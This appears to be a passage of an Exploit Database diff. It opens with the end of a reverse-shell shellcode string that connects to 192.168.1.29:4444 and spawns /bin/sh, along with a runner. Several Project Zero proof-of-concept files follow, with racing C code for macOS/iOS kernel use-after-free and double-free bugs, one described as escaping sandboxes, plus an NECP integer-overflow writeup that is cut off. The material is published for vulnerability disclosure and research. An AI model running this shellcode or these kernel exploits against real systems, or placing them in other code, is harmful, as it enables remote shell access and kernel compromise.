"\x31\xc0\x40\x74\x48\x6a\x66\x58\x99\x52\x42\x52\x89\xd3\x42\x52\x89\xe1\xcd\x80\x93\x89\xd1\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x66\x87\xda\x68\xc0\xa8\x01\x1d\x66\x68\x11\x5c\x66\x53\x43\x89\xe1\x6a\x10\x51\x52\x89\xe1\xcd\x80\x6a\x0b\x58\x99\x89\xd1\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x11\x5c\xc7\x44\x24\x04\xc0\xa8\x01\x1d\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05";
|
||||
|
||||
int main(void){
|
||||
(*(void(*)()) shellcode)();
|
||||
}
|
||||
(*(void(*)()) shellcode)();
|
||||
}
|
100
platforms/multiple/dos/39358.txt
Executable file
100
platforms/multiple/dos/39358.txt
Executable file
|
@ -0,0 +1,100 @@
|
|||
Source: https://code.google.com/p/google-security-research/issues/detail?id=618
|
||||
|
||||
The _ool variations of the IOKit device.defs functions all incorrectly deal with error conditions.
|
||||
|
||||
If you run the mig tool on device.defs you can see the source of the kernel-side MIG handling code; here
|
||||
is the relevant generated code for io_service_get_matching_services_ool:
|
||||
|
||||
mig_internal novalue _Xio_service_get_matching_services_ool
|
||||
(mach_msg_header_t *InHeadP, mach_msg_header_t *OutHeadP)
|
||||
{
|
||||
|
||||
... // some typedefs
|
||||
|
||||
Request *In0P = (Request *) InHeadP;
|
||||
Reply *OutP = (Reply *) OutHeadP;
|
||||
|
||||
kern_return_t RetCode;
|
||||
io_object_t existing; <-- (a)
|
||||
|
||||
... // check the input types
|
||||
|
||||
RetCode = is_io_service_get_matching_services_ool(In0P->Head.msgh_request_port, (io_buf_ptr_t)(In0P->matching.address), In0P->matchingCnt, &OutP->result, &existing); <-- (b)
|
||||
|
||||
if (RetCode != KERN_SUCCESS) {
|
||||
MIG_RETURN_ERROR(OutP, RetCode);
|
||||
}
|
||||
|
||||
OutP->existing.name = (mach_port_t)iokit_make_object_port(existing); <-- (c)
|
||||
|
||||
|
||||
At (a) it declares an io_object_t existing on the stack (io_object_t is just a pointer.) It then passes the address of that local to is_io_service_get_matching_services_ool, and if that
|
||||
function succeeds passes the value of existing to iokit_make_object_port. Here's is_io_service_get_matching_services_ool (which importantly is NOT generated code):
|
||||
|
||||
/* Routine io_service_get_matching_services_ool */
|
||||
kern_return_t is_io_service_get_matching_services_ool(
|
||||
mach_port_t master_port,
|
||||
io_buf_ptr_t matching,
|
||||
mach_msg_type_number_t matchingCnt,
|
||||
kern_return_t *result,
|
||||
io_object_t *existing )
|
||||
{
|
||||
kern_return_t kr;
|
||||
vm_offset_t data;
|
||||
vm_map_offset_t map_data;
|
||||
|
||||
kr = vm_map_copyout( kernel_map, &map_data, (vm_map_copy_t) matching );
|
||||
data = CAST_DOWN(vm_offset_t, map_data);
|
||||
|
||||
if( KERN_SUCCESS == kr) {
|
||||
// must return success after vm_map_copyout() succeeds
|
||||
*result = internal_io_service_get_matching_services(master_port,
|
||||
(const char *) data, matchingCnt, existing);
|
||||
vm_deallocate( kernel_map, data, matchingCnt );
|
||||
}
|
||||
|
||||
return( kr );
|
||||
}
|
||||
|
||||
Note here that it returns kr which *only* indicates if the vm_map_copyout failed. This will of course succeed so the return value of this function
|
||||
will always be KERN_SUCCESS, even if internal_io_service_get_matching_services fails... Let's look at that function:
|
||||
|
||||
static kern_return_t internal_io_service_get_matching_services(
|
||||
mach_port_t master_port,
|
||||
const char * matching,
|
||||
mach_msg_type_number_t matching_size,
|
||||
io_iterator_t *existing )
|
||||
{
|
||||
kern_return_t kr;
|
||||
OSObject * obj;
|
||||
OSDictionary * dict;
|
||||
|
||||
if( master_port != master_device_port)
|
||||
return( kIOReturnNotPrivileged);
|
||||
|
||||
obj = matching_size ? OSUnserializeXML(matching, matching_size)
|
||||
: OSUnserializeXML(matching);
|
||||
if( (dict = OSDynamicCast( OSDictionary, obj))) {
|
||||
*existing = IOService::getMatchingServices( dict );
|
||||
kr = kIOReturnSuccess;
|
||||
} else
|
||||
kr = kIOReturnBadArgument;
|
||||
|
||||
if( obj)
|
||||
obj->release();
|
||||
|
||||
return( kr );
|
||||
}
|
||||
|
||||
Indeed, if this function fails it doesn't set existing to a safe value but does return an error code. However, the _ool variation ignores this error code (it
|
||||
just returns it to userspace via the result parameter.) This means that the generated code thinks that is_io_service_get_matching_services_ool succeed
|
||||
and it therefore pass existing in iokit_make_object_port which will eventually (if the uninitialized value wasn't NULL) call a virtual function on it
|
||||
(taggedRetain) when adding the object to the dictionary storing all iokit user objects.
|
||||
|
||||
All of the _ool variations of IOKit API's have this problem; PoCs are included for all of them but they may or may not crash depending on the
|
||||
state of the stack.
|
||||
|
||||
|
||||
Proof of Concept:
|
||||
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39358.zip
|
||||
|
169
platforms/multiple/dos/39365.c
Executable file
169
platforms/multiple/dos/39365.c
Executable file
|
@ -0,0 +1,169 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=599
|
||||
|
||||
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
|
||||
|
||||
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
|
||||
|
||||
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
|
||||
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
|
||||
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
|
||||
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
|
||||
__text:0000000000005B38 push rbp
|
||||
__text:0000000000005B39 mov rbp, rsp
|
||||
__text:0000000000005B3C push rbx
|
||||
__text:0000000000005B3D push rax
|
||||
__text:0000000000005B3E mov rbx, rdi
|
||||
__text:0000000000005B41 mov rax, [rbx]
|
||||
__text:0000000000005B44 xor esi, esi
|
||||
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
|
||||
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
|
||||
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
|
||||
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
|
||||
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
|
||||
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
|
||||
__text:0000000000005B79 xor eax, eax
|
||||
__text:0000000000005B7B add rsp, 8
|
||||
__text:0000000000005B7F pop rbx
|
||||
__text:0000000000005B80 pop rbp
|
||||
__text:0000000000005B81 retn
|
||||
|
||||
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
|
||||
|
||||
int
|
||||
vfs_context_rele(vfs_context_t ctx)
|
||||
{
|
||||
if (ctx) {
|
||||
if (IS_VALID_CRED(ctx->vc_ucred))
|
||||
kauth_cred_unref(&ctx->vc_ucred);
|
||||
kfree(ctx, sizeof(struct vfs_context));
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
|
||||
|
||||
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
|
||||
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
|
||||
on the credential and double free the vfs_context.
|
||||
|
||||
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
|
||||
|
||||
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o ioparallel_closehdix ioparallel_closehdix.c -lpthread -framework IOKit
|
||||
/*
|
||||
OS X and iOS kernel UaF/double free due to lack of locking in IOHDIXControllUserClient::clientClose
|
||||
|
||||
Here's the clientClose method of IOHDIXControllUserClient on OS X 10.11.1:
|
||||
|
||||
__text:0000000000005B38 ; __int64 __fastcall IOHDIXControllerUserClient::clientClose(IOHDIXControllerUserClient *__hidden this)
|
||||
__text:0000000000005B38 public __ZN26IOHDIXControllerUserClient11clientCloseEv
|
||||
__text:0000000000005B38 __ZN26IOHDIXControllerUserClient11clientCloseEv proc near
|
||||
__text:0000000000005B38 ; DATA XREF: __const:000000000000F820o
|
||||
__text:0000000000005B38 push rbp
|
||||
__text:0000000000005B39 mov rbp, rsp
|
||||
__text:0000000000005B3C push rbx
|
||||
__text:0000000000005B3D push rax
|
||||
__text:0000000000005B3E mov rbx, rdi
|
||||
__text:0000000000005B41 mov rax, [rbx]
|
||||
__text:0000000000005B44 xor esi, esi
|
||||
__text:0000000000005B46 call qword ptr [rax+600h] ; virtual: IOService::terminate(unsigned int)
|
||||
__text:0000000000005B4C mov qword ptr [rbx+208h], 0
|
||||
__text:0000000000005B57 mov qword ptr [rbx+1F8h], 0
|
||||
__text:0000000000005B62 mov rdi, [rbx+200h] ; <-- this+0x200 --+
|
||||
__text:0000000000005B69 call _vfs_context_rele ; pass to vfs_context_rele +- should be locked!
|
||||
__text:0000000000005B6E mov qword ptr [rbx+200h], 0 ; NULL out this+0x200 --+
|
||||
__text:0000000000005B79 xor eax, eax
|
||||
__text:0000000000005B7B add rsp, 8
|
||||
__text:0000000000005B7F pop rbx
|
||||
__text:0000000000005B80 pop rbp
|
||||
__text:0000000000005B81 retn
|
||||
|
||||
At offset +0x200 the user client has a vfs_context_t (struct vfs_context*) which gets passed to vfs_context_rele:
|
||||
|
||||
int
|
||||
vfs_context_rele(vfs_context_t ctx)
|
||||
{
|
||||
if (ctx) {
|
||||
if (IS_VALID_CRED(ctx->vc_ucred))
|
||||
kauth_cred_unref(&ctx->vc_ucred);
|
||||
kfree(ctx, sizeof(struct vfs_context));
|
||||
}
|
||||
return(0);
|
||||
}
|
||||
|
||||
This code drop the ref which the context object holds on the credential it holds then it frees the vfs context;
|
||||
|
||||
Since there are no locks in the clientClose method two thread can race each other to both read a valid vfs_context_t pointer
|
||||
before the other one NULLs it out. There are a few possible bad things which we can make happen here; we can double drop the reference
|
||||
on the credential and double free the vfs_context.
|
||||
|
||||
This PoC when run on a machine with -zc and -zp boot args will probably crash doing the double ref drop.
|
||||
|
||||
Tested on El Capitan 10.11.1 15b42 on MacBookAir 5,2
|
||||
|
||||
repro: while true; do ./ioparallel_closehdix; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
io_connect_t conn = MACH_PORT_NULL;
|
||||
|
||||
int start = 0;
|
||||
|
||||
void close_it(io_connect_t conn) {
|
||||
IOServiceClose(conn);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
close_it(*(io_connect_t*)arg);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
char* service_name = "IOHDIXController";
|
||||
int client_type = 0;
|
||||
|
||||
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
|
||||
if (service == MACH_PORT_NULL) {
|
||||
printf("can't find service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IOServiceOpen(service, mach_task_self(), client_type, &conn);
|
||||
if (conn == MACH_PORT_NULL) {
|
||||
printf("can't connect to service\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
pthread_t t;
|
||||
io_connect_t arg = conn;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
close_it(conn);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
162
platforms/multiple/dos/39366.c
Executable file
162
platforms/multiple/dos/39366.c
Executable file
|
@ -0,0 +1,162 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=598
|
||||
|
||||
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
|
||||
|
||||
kern_return_t is_io_registry_iterator_exit_entry(
|
||||
io_object_t iterator )
|
||||
{
|
||||
bool didIt;
|
||||
|
||||
CHECK( IORegistryIterator, iterator, iter );
|
||||
|
||||
didIt = iter->exitEntry();
|
||||
|
||||
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
|
||||
}
|
||||
|
||||
exitExtry is defined as follows:
|
||||
|
||||
bool IORegistryIterator::exitEntry( void )
|
||||
{
|
||||
IORegCursor * gone;
|
||||
|
||||
if( where->iter) {
|
||||
where->iter->release();
|
||||
where->iter = 0;
|
||||
if( where->current)// && (where != &start))
|
||||
where->current->release();
|
||||
}
|
||||
|
||||
if( where != &start) {
|
||||
gone = where;
|
||||
where = gone->next;
|
||||
IOFree( gone, sizeof(IORegCursor));
|
||||
return( true);
|
||||
|
||||
} else
|
||||
return( false);
|
||||
}
|
||||
|
||||
There are multiple concurrency hazards here; for example a double free of where if two threads
|
||||
enter at the same time.
|
||||
|
||||
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
|
||||
on OS X and iOS.
|
||||
|
||||
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
|
||||
|
||||
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
|
||||
|
||||
repro: while true; do ./ioparallel_regiter; done
|
||||
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
// clang -o ioparallel_regiter ioparallel_regiter.c -lpthread -framework IOKit
|
||||
/*
|
||||
OS X and iOS kernel double free due to lack of locking in iokit registry iterator manipulation
|
||||
|
||||
The userspace MIG wrapper IORegistryIteratorExitEntry invokes the following kernel function:
|
||||
|
||||
kern_return_t is_io_registry_iterator_exit_entry(
|
||||
io_object_t iterator )
|
||||
{
|
||||
bool didIt;
|
||||
|
||||
CHECK( IORegistryIterator, iterator, iter );
|
||||
|
||||
didIt = iter->exitEntry();
|
||||
|
||||
return( didIt ? kIOReturnSuccess : kIOReturnNoDevice );
|
||||
}
|
||||
|
||||
exitExtry is defined as follows:
|
||||
|
||||
bool IORegistryIterator::exitEntry( void )
|
||||
{
|
||||
IORegCursor * gone;
|
||||
|
||||
if( where->iter) {
|
||||
where->iter->release();
|
||||
where->iter = 0;
|
||||
if( where->current)// && (where != &start))
|
||||
where->current->release();
|
||||
}
|
||||
|
||||
if( where != &start) {
|
||||
gone = where;
|
||||
where = gone->next;
|
||||
IOFree( gone, sizeof(IORegCursor));
|
||||
return( true);
|
||||
|
||||
} else
|
||||
return( false);
|
||||
}
|
||||
|
||||
There are multiple concurrency hazards here; for example a double free of where if two threads
|
||||
enter at the same time.
|
||||
|
||||
These registry APIs aren't protected by MAC hooks therefore this bug can be reached from all sandboxes
|
||||
on OS X and iOS.
|
||||
|
||||
Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2
|
||||
|
||||
Use kernel zone poisoning and corruption checked with the -zc and -zp boot args to repro
|
||||
|
||||
repro: while true; do ./ioparallel_regiter; done
|
||||
*/
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#include <IOKit/IOKitLib.h>
|
||||
|
||||
int start = 0;
|
||||
|
||||
void exit_it(io_iterator_t iter) {
|
||||
IORegistryIteratorExitEntry(iter);
|
||||
}
|
||||
|
||||
void go(void* arg){
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
exit_it(*(io_iterator_t*)arg);
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
kern_return_t err;
|
||||
io_iterator_t iter;
|
||||
|
||||
err = IORegistryCreateIterator(kIOMasterPortDefault, kIOServicePlane, 0, &iter);
|
||||
if (err != KERN_SUCCESS) {
|
||||
printf("can't create reg iterator\n");
|
||||
return 0;
|
||||
}
|
||||
|
||||
IORegistryIteratorEnterEntry(iter);
|
||||
|
||||
pthread_t t;
|
||||
io_connect_t arg = iter;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
exit_it(iter);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
251
platforms/multiple/dos/39377.c
Executable file
251
platforms/multiple/dos/39377.c
Executable file
|
@ -0,0 +1,251 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=553
|
||||
|
||||
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
|
||||
|
||||
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
|
||||
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
|
||||
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
|
||||
real no-more-senders notification message but there's nothing stopping user-space from
|
||||
also just sending one.
|
||||
|
||||
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
|
||||
|
||||
|
||||
boolean_t
|
||||
ipc_kobject_notify(
|
||||
mach_msg_header_t *request_header,
|
||||
mach_msg_header_t *reply_header)
|
||||
{
|
||||
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
|
||||
|
||||
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
|
||||
switch (request_header->msgh_id) {
|
||||
case MACH_NOTIFY_NO_SENDERS:
|
||||
if (ip_kotype(port) == IKOT_VOUCHER) {
|
||||
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
At this point there are also no locks held.
|
||||
|
||||
void
|
||||
ipc_voucher_notify(mach_msg_header_t *msg)
|
||||
{
|
||||
mach_no_senders_notification_t *notification = (void *)msg;
|
||||
ipc_port_t port = notification->not_header.msgh_remote_port;
|
||||
ipc_voucher_t iv;
|
||||
|
||||
assert(ip_active(port));
|
||||
assert(IKOT_VOUCHER == ip_kotype(port));
|
||||
iv = (ipc_voucher_t)port->ip_kobject;
|
||||
|
||||
ipc_voucher_release(iv);
|
||||
}
|
||||
|
||||
|
||||
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
|
||||
|
||||
void
|
||||
ipc_voucher_release(ipc_voucher_t voucher)
|
||||
{
|
||||
if (IPC_VOUCHER_NULL != voucher)
|
||||
iv_release(voucher);
|
||||
}
|
||||
|
||||
|
||||
static inline void
|
||||
iv_release(ipc_voucher_t iv)
|
||||
{
|
||||
iv_refs_t refs;
|
||||
|
||||
assert(0 < iv->iv_refs);
|
||||
refs = hw_atomic_sub(&iv->iv_refs, 1);
|
||||
if (0 == refs)
|
||||
iv_dealloc(iv, TRUE);
|
||||
}
|
||||
|
||||
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
|
||||
|
||||
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
|
||||
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
|
||||
of a free'd object.
|
||||
|
||||
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
|
||||
+0x8 (and if that resulted in that field being zero you could free it.)
|
||||
|
||||
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
|
||||
|
||||
You should see a panic message like this:
|
||||
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
|
||||
|
||||
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
|
||||
|
||||
Tested on OS X ElCapitan 10.11 (15A284)
|
||||
|
||||
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
|
||||
|
||||
Note that you might have to leave the repro running for a little while to win the race.
|
||||
*/
|
||||
|
||||
// ianbeer
|
||||
|
||||
/*
|
||||
OS X and iOS unsandboxable kernel use-after-free in mach vouchers
|
||||
|
||||
The mach voucher subsystem fails to correctly handle spoofed no-more-senders messages.
|
||||
|
||||
ipc_kobject_server will be called for mach messages sent to kernel-owned mach ports.
|
||||
If the msgh_id of the message can't be found in the mig_buckets hash table then this function
|
||||
calls ipc_kobject_notify. Note that this is the same code path which would be taken for a
|
||||
real no-more-senders notification message but there's nothing stopping user-space from
|
||||
also just sending one.
|
||||
|
||||
ipc_kobject_notify calls the correct notification method for the type of the KOBJECT associated with the port:
|
||||
|
||||
|
||||
boolean_t
|
||||
ipc_kobject_notify(
|
||||
mach_msg_header_t *request_header,
|
||||
mach_msg_header_t *reply_header)
|
||||
{
|
||||
ipc_port_t port = (ipc_port_t) request_header->msgh_remote_port;
|
||||
|
||||
((mig_reply_error_t *) reply_header)->RetCode = MIG_NO_REPLY;
|
||||
switch (request_header->msgh_id) {
|
||||
case MACH_NOTIFY_NO_SENDERS:
|
||||
if (ip_kotype(port) == IKOT_VOUCHER) {
|
||||
ipc_voucher_notify(request_header); <-- called unconditionally irregardless of the value of ip_srights
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
At this point there are also no locks held.
|
||||
|
||||
void
|
||||
ipc_voucher_notify(mach_msg_header_t *msg)
|
||||
{
|
||||
mach_no_senders_notification_t *notification = (void *)msg;
|
||||
ipc_port_t port = notification->not_header.msgh_remote_port;
|
||||
ipc_voucher_t iv;
|
||||
|
||||
assert(ip_active(port));
|
||||
assert(IKOT_VOUCHER == ip_kotype(port));
|
||||
iv = (ipc_voucher_t)port->ip_kobject;
|
||||
|
||||
ipc_voucher_release(iv);
|
||||
}
|
||||
|
||||
|
||||
ipc_voucher_notify calls ipc_voucher_release, again not taking any locks, which calls through to iv_release:
|
||||
|
||||
void
|
||||
ipc_voucher_release(ipc_voucher_t voucher)
|
||||
{
|
||||
if (IPC_VOUCHER_NULL != voucher)
|
||||
iv_release(voucher);
|
||||
}
|
||||
|
||||
|
||||
static inline void
|
||||
iv_release(ipc_voucher_t iv)
|
||||
{
|
||||
iv_refs_t refs;
|
||||
|
||||
assert(0 < iv->iv_refs);
|
||||
refs = hw_atomic_sub(&iv->iv_refs, 1);
|
||||
if (0 == refs)
|
||||
iv_dealloc(iv, TRUE);
|
||||
}
|
||||
|
||||
iv_release decrements the reference count field at +0x8 of the voucher object, and if it's zero frees it via iv_dealloc.
|
||||
|
||||
We can send two spoofed no-more-senders notifications to a voucher mach port which will race each other to iv_release,
|
||||
one will free iv (via iv_dealloc) then the second will execute hw_atomic_sub and decrement the reference count field
|
||||
of a free'd object.
|
||||
|
||||
With sufficient effort you could reallocate something else over the free'd ipc_voucher_t; you could then decrement the field at
|
||||
+0x8 (and if that resulted in that field being zero you could free it.)
|
||||
|
||||
You should enable kernel zone poisoning with the "-zp" boot arg to repro this.
|
||||
|
||||
You should see a panic message like this:
|
||||
panic(cpu 2 caller 0xffffff800712922b): "a freed zone element has been modified in zone ipc vouchers: expected 0xdeadbeefdeadbeef but found 0xdeadbeefdeadbeee, bits changed 0x1, at offset 8 of 80 in element
|
||||
|
||||
This is consistent with the hw_atomic_sub call decrementing the refcount of a free'd object.
|
||||
|
||||
Tested on OS X ElCapitan 10.11 (15A284)
|
||||
|
||||
Presumably this is there on iOS too; I will update this bug if I can repro it there. I don't think there are any MAC hooks in the voucher subsystem so this should break you out of any sandboxes into the kernel.
|
||||
|
||||
Note that you might have to leave the repro running for a little while to win the race.
|
||||
*/
|
||||
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <mach/mach.h>
|
||||
#include <mach/thread_act.h>
|
||||
|
||||
#include <pthread.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int start = 0;
|
||||
|
||||
void go(void* arg){
|
||||
mach_port_t v = 0xb03; // <-- works for me; ymmv
|
||||
|
||||
mach_msg_header_t msg = {0};
|
||||
msg.msgh_size = sizeof(mach_msg_header_t);
|
||||
msg.msgh_local_port = v;
|
||||
msg.msgh_remote_port = v;
|
||||
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.msgh_id = 0106;
|
||||
|
||||
while(start == 0){;}
|
||||
|
||||
usleep(1);
|
||||
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
}
|
||||
int main() {
|
||||
//char port_num[20] = {0};
|
||||
//gets(port_num);
|
||||
//mach_port_t v = (mach_port_t)atoi(port_num);
|
||||
//printf("%x\n", v);
|
||||
|
||||
pthread_t t;
|
||||
int arg = 0;
|
||||
pthread_create(&t, NULL, (void*) go, (void*) &arg);
|
||||
|
||||
mach_port_t v = 0xb03;
|
||||
|
||||
mach_msg_header_t msg = {0};
|
||||
msg.msgh_size = sizeof(mach_msg_header_t);
|
||||
msg.msgh_local_port = v;
|
||||
msg.msgh_remote_port = v;
|
||||
msg.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
|
||||
msg.msgh_id = 0106;
|
||||
|
||||
usleep(100000);
|
||||
|
||||
start = 1;
|
||||
|
||||
mach_msg(&msg,
|
||||
MACH_SEND_MSG,
|
||||
msg.msgh_size,
|
||||
0,
|
||||
MACH_PORT_NULL,
|
||||
MACH_MSG_TIMEOUT_NONE,
|
||||
MACH_PORT_NULL);
|
||||
|
||||
pthread_join(t, NULL);
|
||||
|
||||
return 0;
|
||||
}
|
259
platforms/multiple/dos/39378.c
Executable file
259
platforms/multiple/dos/39378.c
Executable file
|
@ -0,0 +1,259 @@
|
|||
/*
|
||||
Source: https://code.google.com/p/google-security-research/issues/detail?id=543
|
||||
|
||||
NKE control sockets are documented here: https://developer.apple.com/library/mac/documentation/Darwin/Conceptual/NKEConceptual/control/control.html
|
||||
|
||||
By default there are actually a bunch of these providers; they are however all only accessible to root. Nevertheless, on iOS and now (thanks to SIP)
|
||||
OS X this is a real security boundary.
|
||||
|
||||
necp control sockets are implemented in necp.c. The messages themselves consist of a simple header followed by type-length-value entries.
|
||||
The type field is a single byte and the length is a size_t (ie 8 bytes.)
|
||||
|
||||
by sending a packed with an id of NECP_PACKET_TYPE_POLICY_ADD we can reach the following loop:
|
||||
|
||||
// Read policy conditions
|
||||
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
|
||||
cursor >= 0;
|
||||
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
|
||||
size_t condition_size = 0;
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
|
||||
|
||||
if (condition_size > 0) {
|
||||
conditions_array_size += (sizeof(u_int8_t) + sizeof(size_t) + condition_size);
|
||||
}
|
||||
}
|
||||
|
||||
The necp_packet_{find|get}_* functions cope gracefully if the final tlv is waaay bigger than the actual message (like 2^64-1 ;) )
|
||||
|
||||
This means that we can overflow conditions_array_size to anything we want very easily. In this PoC the packet contains three policy conditions:
|
||||
|
||||
one of length 1; one of length 1024 and one of length 2^64-1051;
|
||||
|
||||
later conditions_array_size is used as the size of a memory allocation:
|
||||
|
||||
MALLOC(conditions_array, u_int8_t *, conditions_array_size, M_NECP, M_WAITOK);
|
||||
|
||||
There is then a memory copying loop operating on the undersized array:
|
||||
|
||||
conditions_array_cursor = 0;
|
||||
for (cursor = necp_packet_find_tlv(packet, offset, NECP_TLV_POLICY_CONDITION, &error, 0);
|
||||
cursor >= 0;
|
||||
cursor = necp_packet_find_tlv(packet, cursor, NECP_TLV_POLICY_CONDITION, &error, 1)) {
|
||||
u_int8_t condition_type = NECP_TLV_POLICY_CONDITION;
|
||||
size_t condition_size = 0;
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, 0, NULL, &condition_size);
|
||||
if (condition_size > 0 && condition_size <= (conditions_array_size - conditions_array_cursor)) { <-- (a)
|
||||
// Add type
|
||||
memcpy((conditions_array + conditions_array_cursor), &condition_type, sizeof(condition_type));
|
||||
conditions_array_cursor += sizeof(condition_type);
|
||||
|
||||
// Add length
|
||||
memcpy((conditions_array + conditions_array_cursor), &condition_size, sizeof(condition_size));
|
||||
conditions_array_cursor += sizeof(condition_size);
|
||||
|
||||
// Add value
|
||||
necp_packet_get_tlv_at_offset(packet, cursor, condition_size, (conditions_array + conditions_array_cursor), NULL); <-- (b)
|
||||
|
||||
There is actually an extra check at (a); this is why we need the first policy_condition of size one (so that the second time through the
|
||||
